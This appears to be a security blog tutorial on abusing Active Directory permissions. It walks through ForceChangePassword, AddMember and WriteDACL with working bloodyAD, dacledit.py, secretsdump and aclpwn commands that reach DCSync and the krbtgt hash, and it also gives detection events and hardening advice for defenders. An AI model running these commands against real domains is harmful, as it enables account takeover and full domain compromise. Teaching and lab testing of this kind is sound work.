Abusing Active Directory DACLs: GenericAll, WriteDACL, and the Path to Domain Compromise

Active Directory
Time it takes to read this article 5 minutes.

Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit, written permission to assess. Abusing Active Directory permissions against systems you do not control is illegal and unethical.

Introduction / Overview

Most real-world Active Directory compromises do not hinge on a kernel zero-day. They hinge on misconfigured permissions. Every object in AD — users, groups, computers, the domain root itself — carries a Discretionary Access Control List (DACL) made up of Access Control Entries (ACEs). When an ACE grants a low-privileged principal the wrong right over a high-privileged object, that misconfiguration becomes a privilege escalation primitive.

In this article you'll learn how the most abused ACEs — GenericAll and WriteDACL — translate into concrete attacks: forcing a password reset (ForceChangePassword), adding yourself to a privileged group (AddMember), and rewriting an object's DACL outright with dacledit.py. We'll also automate chains with aclpwn, and then flip to the defender's perspective.

How it works / Background

A DACL is an ordered list of ACEs. Each ACE pairs a trustee (the principal) with an access mask and, optionally, an object type GUID that scopes the right to a specific property or extended right. The rights that matter most to an attacker:

ACE / Right What it lets you do
GenericAll Full control — covers every other right below
GenericWrite Write any non-protected attribute (e.g. scriptPath, SPNs)
WriteDACL Rewrite the object's DACL — grant yourself GenericAll
WriteOwner Set yourself as owner, then edit the DACL
ForceChangePassword Reset the target user's password without the old one
AddMember (Self/WriteProperty on member) Add a principal to a group
AllExtendedRights DCSync (if on the domain object), password reset, etc.

The key insight: WriteDACL is a meta-right. You may not start with GenericAll, but if you hold WriteDACL over an object you can add an ACE that grants yourself GenericAll, and from there do anything. This is why BloodHound graphs these edges — they are transitive paths to Domain Admin.

Prerequisites / Lab setup

  • A domain-joined attack box (Linux with Impacket, or Windows with PowerView).
  • Valid domain credentials for a low-privileged user (corp.local\analyst).
  • BloodHound + a SharpHound/bloodhound-python collection to find the edges.

Collect data and look for GenericAll, WriteDacl, ForceChangePassword, and AddMember edges:

# Remote collection from Linux
bloodhound-python -u analyst -p 'P@ssw0rd' -d corp.local -ns 10.0.0.10 -c All

# In the BloodHound GUI, run the prebuilt query:
#   "Shortest Paths to Domain Admins from Owned Principals"

Attack walkthrough / PoC

1. ForceChangePassword — take over a user

Suppose BloodHound shows analyst has ForceChangePassword over svc-backup. Reset that account's password with no knowledge of the current one:

# Impacket — reset a target user's password over SAMR/RPC
net rpc password "svc-backup" "NewP@ss123!" -U "corp.local"/"analyst"%"P@ssw0rd" -S dc01.corp.local

Or with Impacket's dedicated tooling and BloodyAD:

bloodyAD --host dc01.corp.local -d corp.local -u analyst -p 'P@ssw0rd' \
    set password svc-backup 'NewP@ss123!'

From Windows with PowerView:

$pw = ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force
Set-DomainUserPassword -Identity svc-backup -AccountPassword $pw

You now control svc-backup. If you can't change a service account's password without breaking it, prefer targeted Kerberoasting (write an SPN with GenericWrite) or a shadow credential attack instead — see Kerberoasting.

2. AddMember — escalate via group membership

If analyst has GenericAll or AddMember (write to the member property) over the Helpdesk Admins group, just add yourself:

# Impacket net rpc
net rpc group addmem "Helpdesk Admins" "analyst" \
    -U 'corp.local/analyst%P@ssw0rd' -S dc01.corp.local

# BloodyAD equivalent
bloodyAD --host dc01.corp.local -d corp.local -u analyst -p 'P@ssw0rd' \
    add groupMember "Helpdesk Admins" analyst
# PowerView (Windows)
Add-DomainGroupMember -Identity 'Helpdesk Admins' -Members 'analyst'

Remember to remove yourself afterward during a real engagement to limit blast radius and clean up:

bloodyAD --host dc01.corp.local -d corp.local -u analyst -p 'P@ssw0rd' \
    remove groupMember "Helpdesk Admins" analyst

3. WriteDACL → dacledit.py — grant yourself GenericAll

When you hold WriteDACL (or WriteOwner) over an object, rewrite its DACL. Impacket's dacledit.py makes this surgical. The classic high-value target: granting DCSync (the DS-Replication-Get-Changes + DS-Replication-Get-Changes-All extended rights) on the domain object:

# Grant analyst full control over a target user via WriteDACL
dacledit.py -action 'write' -rights 'FullControl' \
    -principal 'analyst' -target 'svc-backup' \
    'corp.local'/'analyst':'P@ssw0rd' -dc-ip 10.0.0.10

# Grant DCSync rights on the domain root (if you have WriteDACL there)
dacledit.py -action 'write' -rights 'DCSync' \
    -principal 'analyst' -target-dn 'DC=corp,DC=local' \
    'corp.local'/'analyst':'P@ssw0rd' -dc-ip 10.0.0.10

Then dump hashes:

secretsdump.py 'corp.local'/'analyst':'P@ssw0rd'@10.0.0.10 -just-dc-user krbtgt

Always back up the original DACL first so you can restore it (dacledit.py supports -action read and writes .bak files when modifying).

4. aclpwn — automate the whole chain

aclpwn (and the modern aclpwn-py) consumes BloodHound/Neo4j data, computes the shortest ACL-based path to your goal, executes each step, and records a restore file to revert changes:

aclpwn -f analyst -t "Domain Admins" \
    -d corp.local -du neo4j -dp BloodHound \
    --domain corp.local --server 10.0.0.10 -u analyst -p 'P@ssw0rd'

# Restore everything aclpwn changed afterwards:
aclpwn --restore restore_<timestamp>.json

Mermaid diagram

Abusing Active Directory DACLs: GenericAll, WriteDACL, and the Path to Domain Compromise diagram 1

Text version: analyst uses WriteDACL to grant itself GenericAll over a service account, resets its password, joins a privileged group, then grants DCSync on the domain object and replicates the krbtgt hash for full compromise.

Detection & Defense (Blue Team)

ACL abuse is noisy if you are watching the right events. Defense matters at least as much as the offense.

1. Audit directory-service changes. Enable the "Audit Directory Service Changes" subcategory so DACL modifications are logged.

  • Event ID 5136 — A directory service object was modified. Filter for changes to nTSecurityDescriptor; this is the signal for WriteDACL / dacledit.py abuse. The event includes the SDDL of the new descriptor.
  • Event ID 4738 — A user account was changed.
  • Event ID 4724 / 4723 — Password reset / change. 4724 (admin reset) against privileged accounts maps to ForceChangePassword.
  • Event ID 4728 / 4732 / 4756 — A member was added to a global / local / universal security group (AddMember). Alert on additions to Tier-0 groups.
  • Event ID 4662 — An operation was performed on an object. Watch for the replication GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DCSync) from non-DC accounts.
# Hunt for security-descriptor modifications on the DC
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=5136} |
  Where-Object { $_.Message -match 'nTSecurityDescriptor' }

2. Find the dangerous ACEs before attackers do. Run BloodHound defensively and review GenericAll, WriteDacl, WriteOwner, and Owns edges pointing at Tier-0 assets. Periodically baseline the domain object's DACL.

# Enumerate explicit, non-inherited ACEs on the domain head
(Get-Acl "AD:\DC=corp,DC=local").Access |
  Where-Object { -not $_.IsInherited -and $_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner' }

3. Harden the structure.

  • Implement Microsoft's tiered administration model and a clean AdminSDHolder configuration; let SDProp reapply protected DACLs on Tier-0 groups every 60 minutes.
  • Remove broad, accidental grants (e.g. Authenticated Users or Help Desk with write over OUs).
  • Place sensitive accounts in the Protected Users group and mark them "Account is sensitive and cannot be delegated."
  • Deploy LAPS for local admin passwords and monitor ms-Mcs-AdmPwd read access.

4. Correlate behavior. Tools like Microsoft Defender for Identity flag suspicious DCSync replication and abnormal group membership changes. A non-DC requesting replication is almost always malicious.

For the lateral-movement that often follows DACL abuse, see Pass-the-Hash and NTLM Relay and DCSync and Domain Dominance.

Conclusion

DACLs are the connective tissue of an Active Directory privilege graph. GenericAll is total control, and WriteDACL is the meta-right that grants total control — both convert a forgotten checkbox into a path to Domain Admin via ForceChangePassword, AddMember, and dacledit.py, all of which aclpwn can chain automatically. The defensive answer is unglamorous but effective: audit nTSecurityDescriptor changes (Event 5136), watch Tier-0 group additions (4728/4732), graph your own ACLs with BloodHound, and enforce tiered administration so these edges never exist in the first place.

References

Comments

Copied title and URL